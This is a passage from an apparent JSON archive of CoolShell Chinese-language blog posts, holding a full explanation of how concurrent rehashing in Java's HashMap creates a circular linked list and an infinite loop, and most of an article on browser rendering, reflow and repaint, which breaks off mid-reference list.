decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5388.html\"><img alt=\"C语言中史上最愚蠢的Bug\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5388.html\">C语言中史上最愚蠢的Bug</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9543.html\">“C++的数组不支持多态”？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-5-10 疫苗：Java HashMap的死循环.html",
    "content": "<html><body><p><img alt=\"\" class=\"size-medium wp-image-9618 alignright\" height=\"190\" src=\"../wp-content/uploads/2013/05/race_condition-300x190.jpg\" width=\"300\"/>在淘宝内网里看到同事发了贴说了一个CPU被100%的线上故障，并且这个事发生了很多次，原因是在Java语言在并发情况下使用HashMap造成Race Condition，从而导致死循环。这个事情我4、5年前也经历过，本来觉得没什么好写的，因为Java的HashMap是非线程安全的，所以在并发下必然出现问题。但是，我发现近几年，很多人都经历过这个事（在网上查“HashMap Infinite Loop”可以看到很多人都在说这个事）所以，觉得这个是个普遍问题，需要写篇疫苗文章说一下这个事，并且给大家看看一个完美的“Race Condition”是怎么形成的。</p>\n<h4>问题的症状</h4>\n<p>从前我们的Java代码因为一些原因使用了HashMap这个东西，但是当时的程序是单线程的，一切都没有问题。后来，我们的程序性能有问题，所以需要变成多线程的，于是，变成多线程后到了线上，发现程序经常占了100%的CPU，查看堆栈，你会发现程序都Hang在了HashMap.get()这个方法上了，重启程序后问题消失。但是过段时间又会来。而且，这个问题在测试环境里可能很难重现。</p>\n<p>我们简单的看一下我们自己的代码，我们就知道HashMap被多个线程操作。而Java的文档说HashMap是非线程安全的，应该用ConcurrentHashMap。</p>\n<p>但是在这里我们可以来研究一下原因。</p>\n<p><span id=\"more-9606\"></span></p>\n<h4>Hash表数据结构</h4>\n<p>我需要简单地说一下HashMap这个经典的数据结构。</p>\n<p>HashMap通常会用一个指针数组（假设为table[]）来做分散所有的key，当一个key被加入时，会通过Hash算法通过key算出这个数组的下标i，然后就把这个&lt;key, value&gt;插到table[i]中，如果有两个不同的key被算在了同一个i，那么就叫冲突，又叫碰撞，这样会在table[i]上形成一个链表。</p>\n<p>我们知道，如果table[]的尺寸很小，比如只有2个，如果要放进10个keys的话，那么碰撞非常频繁，于是一个O(1)的查找算法，就变成了链表遍历，性能变成了O(n)，这是Hash表的缺陷（可参看《<a href=\"https://coolshell.cn/articles/6424.html\" rel=\"bookmark\" target=\"_blank\" title=\"Hash Collision DoS 问题\">Hash Collision DoS 问题</a>》）。</p>\n<p>所以，Hash表的尺寸和容量非常的重要。一般来说，Hash表这个容器当有数据要插入时，都会检查容量有没有超过设定的thredhold，如果超过，需要增大Hash表的尺寸，但是这样一来，整个Hash表里的无素都需要被重算一遍。这叫rehash，这个成本相当的大。</p>\n<p>相信大家对这个基础知识已经很熟悉了。</p>\n<h4>HashMap的rehash源代码</h4>\n<p>下面，我们来看一下Java的HashMap的源代码。</p>\n<p>Put一个Key,Value对到Hash表中：</p>\n<pre class=\"EnlighterJSRAW\">public V put(K key, V value)\n{\n    ......\n    //算Hash值\n    int hash = hash(key.hashCode());\n    int i = indexFor(hash, table.length);\n    //如果该key已被插入，则替换掉旧的value （链接操作）\n    for (Entry&lt;K,V&gt; e = table[i]; e != null; e = e.next) {\n        Object k;\n        if (e.hash == hash &amp;&amp; ((k = e.key) == key || key.equals(k))) {\n            V oldValue = e.value;\n            e.value = value;\n            e.recordAccess(this);\n            return oldValue;\n        }\n    }\n    modCount++;\n    //该key不存在，需要增加一个结点\n    addEntry(hash, key, value, i);\n    return null;\n}</pre>\n<p>检查容量是否超标</p>\n<pre class=\"EnlighterJSRAW\">void addEntry(int hash, K key, V value, int bucketIndex)\n{\n    Entry&lt;K,V&gt; e = table[bucketIndex];\n    table[bucketIndex] = new Entry&lt;K,V&gt;(hash, key, value, e);\n    //查看当前的size是否超过了我们设定的阈值threshold，如果超过，需要resize\n    if (size++ &gt;= threshold)\n        resize(2 * table.length);\n} </pre>\n<p>新建一个更大尺寸的hash表，然后把数据从老的Hash表中迁移到新的Hash表中。</p>\n<pre class=\"EnlighterJSRAW\">void resize(int newCapacity)\n{\n    Entry[] oldTable = table;\n    int oldCapacity = oldTable.length;\n    ......\n    //创建一个新的Hash Table\n    Entry[] newTable = new Entry[newCapacity];\n    //将Old Hash Table上的数据迁移到New Hash Table上\n    transfer(newTable);\n    table = newTable;\n    threshold = (int)(newCapacity * loadFactor);\n}</pre>\n<p>迁移的源代码，注意高亮处：</p>\n<pre class=\"EnlighterJSRAW\">void transfer(Entry[] newTable)\n{\n    Entry[] src = table;\n    int newCapacity = newTable.length;\n    //下面这段代码的意思是：\n    //  从OldTable里摘一个元素出来，然后放到NewTable中\n    for (int j = 0; j &lt; src.length; j++) {\n        Entry&lt;K,V&gt; e = src[j];\n        if (e != null) {\n            src[j] = null;\n            do {\n                Entry&lt;K,V&gt; next = e.next;\n                int i = indexFor(e.hash, newCapacity);\n                e.next = newTable[i];\n                newTable[i] = e;\n                e = next;\n            } while (e != null);\n        }\n    }\n} </pre>\n<p>好了，这个代码算是比较正常的。而且没有什么问题。</p>\n<h4>正常的ReHash的过程</h4>\n<p>画了个图做了个演示。</p>\n<ul>\n<li>我假设了我们的hash算法就是简单的用key mod 一下表的大小（也就是数组的长度）。</li>\n</ul>\n<ul>\n<li>最上面的是old hash 表，其中的Hash表的size=2, 所以key = 3, 7, 5，在mod 2以后都冲突在table[1]这里了。</li>\n</ul>\n<ul>\n<li>接下来的三个步骤是Hash表 resize成4，然后所有的&lt;key,value&gt; 重新rehash的过程</li>\n</ul>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-9607\" src=\"../wp-content/uploads/2013/05/HashMap01.jpg\"/></p>\n<h4>并发下的Rehash</h4>\n<p><strong>1）假设我们有两个线程。</strong>我用红色和浅蓝色标注了一下。</p>\n<p>我们再回头看一下我们的 transfer代码中的这个细节：</p>\n<pre class=\"EnlighterJSRAW\">do {\n    Entry&lt;K,V&gt; next = e.next; // &lt;--假设线程一执行到这里就被调度挂起了\n    int i = indexFor(e.hash, newCapacity);\n    e.next = newTable[i];\n    newTable[i] = e;\n    e = next;\n} while (e != null);</pre>\n<p>而我们的线程二执行完成了。于是我们有下面的这个样子。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"434\" src=\"../wp-content/uploads/2013/05/HashMap02.jpg\" width=\"616\"/></p>\n<p>注意，<strong>因为Thread1的 e 指向了key(3)，而next指向了key(7)，其在线程二rehash后，指向了线程二重组后的链表</strong>。我们可以看到链表的顺序被反转后。</p>\n<p><strong>2）线程一被调度回来执行。</strong></p>\n<ul>\n<li><strong>先是执行 newTalbe[i] = e;</strong></li>\n<li><strong>然后是e = next，导致了e指向了key(7)，</strong></li>\n<li><strong>而下一次循环的next = e.next导致了next指向了key(3)</strong></li>\n</ul>\n<p><img alt=\"\" class=\"aligncenter\" height=\"376\" src=\"../wp-content/uploads/2013/05/HashMap03.jpg\" width=\"591\"/></p>\n<p><strong>3）一切安好。</strong></p>\n<p>线程一接着工作。<strong>把key(7)摘下来，放到newTable[i]的第一个，然后把e和next往下移</strong>。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"411\" src=\"../wp-content/uploads/2013/05/HashMap04.jpg\" width=\"627\"/></p>\n<p><strong>4）环形链接出现。</strong></p>\n<p><strong>e.next = newTable[i] 导致  key(3).next 指向了 key(7)</strong></p>\n<p><strong>注意：此时的key(7).next 已经指向了key(3)， 环形链表就这样出现了。</strong></p>\n<p style=\"text-align: left;\"><img alt=\"\" class=\"aligncenter\" height=\"395\" src=\"../wp-content/uploads/2013/05/HashMap05.jpg\" width=\"623\"/></p>\n<p style=\"text-align: left;\"><strong>于是，当我们的线程一调用到，HashTable.get(11)时，悲剧就出现了——Infinite Loop。</strong></p>\n<h4 style=\"text-align: left;\">其它</h4>\n<p>有人把这个问题报给了Sun，不过Sun不认为这个是一个问题。因为HashMap本来就不支持并发。要并发就用ConcurrentHashmap</p>\n<p><a href=\"http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6423457\" target=\"_blank\">http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6423457</a></p>\n<p>我在这里把这个事情记录下来，只是为了让大家了解并体会一下并发环境下的危险。</p>\n<p>参考：<a href=\"http://mailinator.blogspot.com/2009/06/beautiful-race-condition.html\" rel=\"nofollow\">http://mailinator.blogspot.com/2009/06/beautiful-race-condition.html</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6424.html\"><img alt=\"Hash Collision DoS 问题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6424.html\">Hash Collision DoS 问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9606.html\">疫苗：Java HashMap的死循环</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-5-22 浏览器的渲染原理简介.html",
    "content": "<html><body><p>看到这个标题大家一定会想到这篇神文《<a href=\"http://taligarsiel.com/Projects/howbrowserswork1.htm\" target=\"_blank\">How Browsers Work</a>》，这篇文章把浏览器的很多细节讲得很细，而且也被<a href=\"http://ux.sohu.com/topics/50972d9ae7de3e752e0081ff\" target=\"_blank\">翻译成了中文</a>。为什么我还想写一篇呢？因为两个原因，</p>\n<p style=\"padding-left: 30px;\">1）这篇文章太长了，阅读成本太大，不能一口气读完。</p>\n<p style=\"padding-left: 30px;\">2）花了大力气读了这篇文章后可以了解很多，但似乎对工作没什么帮助。</p>\n<p>所以，我准备写下这篇文章来解决上述两个问题。希望你能在上班途中，或是坐马桶时就能读完，并能从中学会一些能用在工作上的东西。</p>\n<h4>浏览器工作大流程</h4>\n<p>废话少说，先来看个图：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-9667\" height=\"231\" src=\"../wp-content/uploads/2013/05/Render-Process.jpg\" width=\"712\"/></p>\n<p style=\"text-align: left;\">从上面这个图中，我们可以看到那么几个事：</p>\n<p><span id=\"more-9666\"></span></p>\n<p style=\"text-align: left;\">1）浏览器会解析三个东西：</p>\n<ul>\n<li>一个是HTML/SVG/XHTML，事实上，Webkit有三个C++的类对应这三类文档。解析这三种文件会产生一个DOM Tree。</li>\n</ul>\n<ul>\n<li>CSS，解析CSS会产生CSS规则树。</li>\n</ul>\n<ul>\n<li>Javascript，脚本，主要是通过DOM API和CSSOM API来操作DOM Tree和CSS Rule Tree.</li>\n</ul>\n<p>2）解析完成后，浏览器引擎会通过DOM Tree 和 CSS Rule Tree 来构造 Rendering Tree。注意：</p>\n<ul>\n<li>Rendering Tree 渲染树并不等同于DOM树，因为一些像Header或display:none的东西就没必要放在渲染树中了。</li>\n</ul>\n<ul>\n<li>CSS 的 Rule Tree主要是为了完成匹配并把CSS Rule附加上Rendering Tree上的每个Element。也就是DOM结点。也就是所谓的Frame。</li>\n</ul>\n<ul>\n<li>然后，计算每个Frame（也就是每个Element）的位置，这又叫layout和reflow过程。</li>\n</ul>\n<p>3）最后通过调用操作系统Native GUI的API绘制。</p>\n<h4>DOM解析</h4>\n<p>HTML的DOM Tree解析如下：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;Web page parsing&lt;/title&gt;\n&lt;/head&gt;\n&lt;body&gt;\n    &lt;div&gt;\n        &lt;h1&gt;Web page parsing&lt;/h1&gt;\n        &lt;p&gt;This is an example Web page.&lt;/p&gt;\n    &lt;/div&gt;\n&lt;/body&gt;\n&lt;/html&gt;\n</pre>\n<p>上面这段HTML会解析成这样：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-9669\" height=\"300\" src=\"../wp-content/uploads/2013/05/DOM-Tree-01.jpg\" width=\"456\"/></p>\n<p>下面是另一个有SVG标签的情况。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-9670\" height=\"320\" src=\"../wp-content/uploads/2013/05/DOM-Tree-02.jpg\" width=\"408\"/></p>\n<h4>CSS解析</h4>\n<p>CSS的解析大概是下面这个样子（下面主要说的是Gecko也就是Firefox的玩法），假设我们有下面的HTML文档：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;doc&gt;\n&lt;title&gt;A few quotes&lt;/title&gt;\n&lt;para&gt;\n  Franklin said that &lt;quote&gt;\"A penny saved is a penny earned.\"&lt;/quote&gt;\n&lt;/para&gt;\n&lt;para&gt;\n  FDR said &lt;quote&gt;\"We have nothing to fear but &lt;span&gt;fear itself.&lt;/span&gt;\"&lt;/quote&gt;\n&lt;/para&gt;\n&lt;/doc&gt;\n</pre>\n<p>于是DOM Tree是这个样子：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-9672\" height=\"318\" src=\"../wp-content/uploads/2013/05/DOM-Tree-Example.jpg\" width=\"368\"/></p>\n<p>然后我们的CSS文档是这样的：</p>\n<pre class=\"EnlighterJSRAW\">  /* rule 1 */ doc { display: block; text-indent: 1em; }\n/* rule 2 */ title { display: block; font-size: 3em; }\n/* rule 3 */ para { display: block; }\n/* rule 4 */ [class=\"emph\"] { font-style: italic; }</pre>\n<p>于是我们的CSS Rule Tree会是这个样子：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-9673\" height=\"238\" src=\"../wp-content/uploads/2013/05/CSS-Rule-Tree-Example.jpg\" width=\"397\"/></p>\n<p>注意，图中的第4条规则出现了两次，一次是独立的，一次是在规则3的子结点。所以，我们可以知道，建立CSS Rule Tree是需要比照着DOM Tree来的。CSS匹配DOM Tree主要是从右到左解析CSS的Selector，好多人以为这个事会比较快，其实并不一定。关键还看我们的CSS的Selector怎么写了。</p>\n<p><strong>注意：CSS匹配HTML元素是一个相当复杂和有性能问题的事情。所以，你就会在N多地方看到很多人都告诉你，DOM树要小，CSS尽量用id和class，千万不要过渡层叠下去，……</strong></p>\n<p>通过这两个树，我们可以得到一个叫Style Context Tree，也就是下面这样（把CSS Rule结点Attach到DOM Tree上）：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-9674\" height=\"318\" src=\"../wp-content/uploads/2013/05/CSS-Content-Tree-Example.jpg\" width=\"405\"/></p>\n<p>所以，Firefox基本上来说是通过CSS 解析 生成 CSS Rule Tree，然后，通过比对DOM生成Style Context Tree，然后Firefox通过把Style Context Tree和其Render Tree（Frame Tree）关联上，就完成了。注意：Render Tree会把一些不可见的结点去除掉。而<strong>Firefox中所谓的Frame就是一个DOM结点，不要被其名字所迷惑了</strong>。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-9677\" height=\"366\" src=\"../wp-content/uploads/2013/05/Firefox-style-context-tree.png\" width=\"328\"/></p>\n<p>注：Webkit不像Firefox要用两个树来干这个，Webkit也有Style对象，它直接把这个Style对象存在了相应的DOM结点上了。</p>\n<h4>渲染</h4>\n<p>渲染的流程基本上如下（黄色的四个步骤）：</p>\n<ol>\n<li>计算CSS样式</li>\n<li>构建Render Tree</li>\n<li>Layout – 定位坐标和大小，是否换行，各种position, overflow, z-index属性 ……</li>\n<li>正式开画</li>\n</ol>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-9675\" height=\"196\" src=\"../wp-content/uploads/2013/05/Render-Process-Skipping.jpg\" width=\"712\"/></p>\n<p style=\"text-align: left;\">注意：上图流程中有很多连接线，这表示了Javascript动态修改了DOM属性或是CSS属会导致重新Layout，有些改变不会，就是那些指到天上的箭头，比如，修改后的CSS rule没有被匹配到，等。</p>\n<p style=\"text-align: left;\">这里重要要说两个概念，一个是Reflow，另一个是Repaint。这两个不是一回事。</p>\n<ul>\n<li>Repaint——屏幕的一部分要重画，比如某个CSS的背景色变了。但是元素的几何尺寸没有变。</li>\n</ul>\n<ul>\n<li>Reflow——意味着元件的几何尺寸变了，我们需要重新验证并计算Render Tree。是Render Tree的一部分或全部发生了变化。这就是Reflow，或是Layout。（<strong>HTML使用的是flow based layout，也就是流式布局，所以，如果某元件的几何尺寸发生了变化，需要重新布局，也就叫reflow</strong>）reflow 会从&lt;html&gt;这个root frame开始递归往下，依次计算所有的结点几何尺寸和位置，在reflow过程中，可能会增加一些frame，比如一个文本字符串必需被包装起来。</li>\n</ul>\n<p>下面是一个打开Wikipedia时的Layout/reflow的视频（注：HTML在初始化的时候也会做一次reflow，叫 <dfn>intial reflow</dfn>），你可以感受一下：</p>\n<p></p><center></center>Reflow的成本比Repaint的成本高得多的多。DOM Tree里的每个结点都会有reflow方法，一个结点的reflow很有可能导致子结点，甚至父点以及同级结点的reflow。<strong>在一些高性能的电脑上也许还没什么，但是如果reflow发生在手机上，那么这个过程是非常痛苦和耗电的</strong>。\n<p>所以，下面这些动作有很大可能会是成本比较高的。</p>\n<ul>\n<li>当你增加、删除、修改DOM结点时，会导致Reflow或Repaint</li>\n<li>当你移动DOM的位置，或是搞个动画的时候。</li>\n<li>当你修改CSS样式的时候。</li>\n<li>当你Resize窗口的时候（移动端没有这个问题），或是滚动的时候。</li>\n<li>当你修改网页的默认字体时。</li>\n</ul>\n<p style=\"text-align: left;\">注：display:none会触发reflow，而visibility:hidden只会触发repaint，因为没有发现位置变化。</p>\n<p style=\"text-align: left;\">多说两句关于滚屏的事，通常来说，如果在滚屏的时候，我们的页面上的所有的像素都会跟着滚动，那么性能上没什么问题，因为我们的显卡对于这种把全屏像素往上往下移的算法是很快。但是如果你有一个fixed的背景图，或是有些Element不跟着滚动，有些Elment是动画，那么这个滚动的动作对于浏览器来说会是相当相当痛苦的一个过程。你可以看到很多这样的网页在滚动的时候性能有多差。因为滚屏也有可能会造成reflow。</p>\n<p style=\"text-align: left;\">基本上来说，reflow有如下的几个原因：</p>\n<ul>\n<li>Initial。网页初始化的时候。</li>\n<li>Incremental。一些Javascript在操作DOM Tree时。</li>\n<li>Resize。其些元件的尺寸变了。</li>\n<li>StyleChange。如果CSS的属性发生变化了。</li>\n<li>Dirty。几个Incremental的reflow发生在同一个frame的子树上。</li>\n</ul>\n<p style=\"text-align: left;\">好了，我们来看一个示例吧：</p>\n<p>[javascript]var bstyle = document.body.style; // cache</p>\n<p>bstyle.padding = \"20px\"; // reflow, repaint<br/>\nbstyle.border = \"10px solid red\"; //  再一次的 reflow 和 repaint</p>\n<p>bstyle.color = \"blue\"; // repaint<br/>\nbstyle.backgroundColor = \"#fad\"; // repaint</p>\n<p>bstyle.fontSize = \"2em\"; // reflow, repaint</p>\n<p>// new DOM element – reflow, repaint<br/>\ndocument.body.appendChild(document.createTextNode(‘dude!’));[/javascript]</p>\n<p style=\"text-align: left;\">当然，我们的浏览器是聪明的，它不会像上面那样，你每改一次样式，它就reflow或repaint一次。<strong>一般来说，浏览器会把这样的操作积攒一批，然后做一次reflow，这又叫异步reflow或增量异步reflow</strong>。但是有些情况浏览器是不会这么做的，比如：resize窗口，改变了页面默认的字体，等。对于这些操作，浏览器会马上进行reflow。</p>\n<p style=\"text-align: left;\">但是有些时候，我们的脚本会阻止浏览器这么干，比如：如果我们请求下面的一些DOM值：</p>\n<ol>\n<li>offsetTop, offsetLeft, offsetWidth, offsetHeight</li>\n<li>scrollTop/Left/Width/Height</li>\n<li>clientTop/Left/Width/Height</li>\n<li>IE中的 getComputedStyle(), 或 currentStyle</li>\n</ol>\n<p style=\"text-align: left;\">因为，如果我们的程序需要这些值，那么浏览器需要返回最新的值，而这样一样会flush出去一些样式的改变，从而造成频繁的reflow/repaint。</p>\n<h4 style=\"text-align: left;\">减少reflow/repaint</h4>\n<p>下面是一些Best Practices：</p>\n<p><strong>1）不要一条一条地修改DOM的样式。与其这样，还不如预先定义好css的class，然后修改DOM的className。</strong></p>\n<p>[javascript]// bad<br/>\nvar left = 10,<br/>\ntop = 10;<br/>\nel.style.left = left + \"px\";<br/>\nel.style.top  = top  + \"px\";</p>\n<p>// Good<br/>\nel.className += \" theclassname\";</p>\n<p>// Good<br/>\nel.style.cssText += \"; left: \" + left + \"px; top: \" + top + \"px;\";[/javascript]</p>\n<p><strong>2）把DOM离线后修改。如：</strong></p>\n<ul>\n<li>使用documentFragment 对象在内存里操作DOM</li>\n<li>先把DOM给display:none(有一次reflow)，然后你想怎么改就怎么改。比如修改100次，然后再把他显示出来。</li>\n<li>clone一个DOM结点到内存里，然后想怎么改就怎么改，改完后，和在线的那个的交换一下。</li>\n</ul>\n<p>3）<strong>不要把DOM结点的属性值放在一个循环里当成循环里的变量。</strong>不然这会导致大量地读写这个结点的属性。</p>\n<p>4）<strong>尽可能的修改层级比较低的DOM</strong>。当然，改变层级比较底的DOM有可能会造成大面积的reflow，但是也可能影响范围很小。</p>\n<p>5）<strong>为动画的HTML元件使用fixed或absoult的position</strong>，那么修改他们的CSS是不会reflow的。</p>\n<p>6）<strong>千万不要使用table布局</strong>。因为可能很小的一个小改动会造成整个table的重新布局。</p>\n<blockquote><p>In this manner, the user agent can begin to lay out the table once the entire first row has been received. Cells in subsequent rows do not affect column widths. Any cell that has content that overflows uses the ‘overflow’ property to determine whether to clip the overflow content.</p>\n<p><cite><a href=\"http://www.w3.org/TR/CSS21/tables.html#fixed-table-layout\">Fixed layout, CSS 2.1 Specification</a></cite></p></blockquote>\n<blockquote><p>This algorithm may be inefficient since it requires the user agent to have access to all the content in the table before determining the final layout and may demand more than one pass.</p>\n<p><cite><a href=\"http://www.w3.org/TR/CSS21/tables.html#auto-table-layout\">Automatic layout, CSS 2.1 Specification</a></cite></p></blockquote>\n<h4>几个工具和几篇文章</h4>\n<p>有时候，你会也许会发现在IE下，你不知道你修改了什么东西，结果CPU一下子就上去了到100%，然后过了好几秒钟repaint/reflow才完成，这种事情以IE的年代时经常发生。所以，我们需要一些工具帮我们看看我们的代码里有没有什么不合适的东西。</p>\n<ul>\n<li>Chrome下，Google的<a href=\"http://code.google.com/webtoolkit/speedtracer/\">SpeedTracer</a>是个非常强悍的工作让你看看你的浏览渲染的成本有多大。其实Safari和Chrome都可以使用开发者工具里的一个Timeline的东东。</li>\n</ul>\n<ul>\n<li>Firefox下这个基于Firebug的叫<a href=\"https://addons.mozilla.org/en-US/firefox/addon/firebug-paint-events/\" target=\"_blank\">Firebug Paint Events</a>的插件也不错。</li>\n</ul>\n<ul>\n<li>IE下你可以用一个叫<a href=\"http://ajax.dynatrace.com/pages/\">dynaTrace</a>的IE扩展。</li>\n</ul>\n<p>最后，别忘了下面这几篇提高浏览器性能的文章：</p>\n<ul>\n<li><a href=\"http://code.google.com/speed/page-speed/docs/rules_intro.html\">Google – Web Performance Best Practices</a></li>\n<li><a href=\"http://developer.yahoo.com/performance/rules.html\">Yahoo – Best Practices for Speeding Up Your Web Site</a></li>\n<li><a href=\"http://stevesouders.com/hpws/rules.php\">Steve Souders – 14 Rules for Faster-Loading Web Sites</a></li>\n</ul>\n<h4>参考</h4>\n<ul>\n<li>David Baron的演讲：Fast CSS: How Browsers Lay Out Web Pages：<a href=\"http://dbaron.org/talks/2012-03-11-sxsw/slide-1.xhtml\" target=\"_blank\">slideshow</a>, <a href=\"http://dbaron.org/talks/2012-03-11-sxsw/master.xhtml\">all slides</a>, <a href=\"http://audio.sxsw.com/2012/podcasts/11-ACC-Fast_CSS_How_Browser_Layout.mp3\">audio (MP3)</a>, <a href=\"http://schedule.sxsw.com/2012/events/event_IAP12909\">Session page</a>, <a href=\"http://lanyrd.com/2012/sxsw-interactive/spmbt/\">Lanyrd page</a></li>\n</ul>\n<ul>\n<li>How Browsers Work: <a href=\"http://taligarsiel.com/Projects/howbrowserswork1.htm\" target=\"_blank\">http://taligarsiel.com/Projects/howbrowserswork1.htm</a></li>\n</ul>\n<ul>\n<li>Mozilla 的 Style System Overview：<a href=\"https://developer.mozilla.org/en-US/docs/Style_System_Overview\" target=\"_blank\">https://developer.mozilla.org/en-US/docs/Style_System_Overview</a></li>\n</ul>\n<ul>\n<li>Mozilla 的 Note of reflow： <a href=\"http://www-archive.mozilla.org/newlayout/doc/reflow.html\" target=\"_blank\">http://www-archive.mozilla.org/newlayout/doc/reflow.html</a></li>\n</ul>\n<ul>\n<li>Rendering: repaint, reflow/relayout, restyle：<a href=\"http://www.phpied.com/rendering-repaint-reflowrelayout-restyle/\" 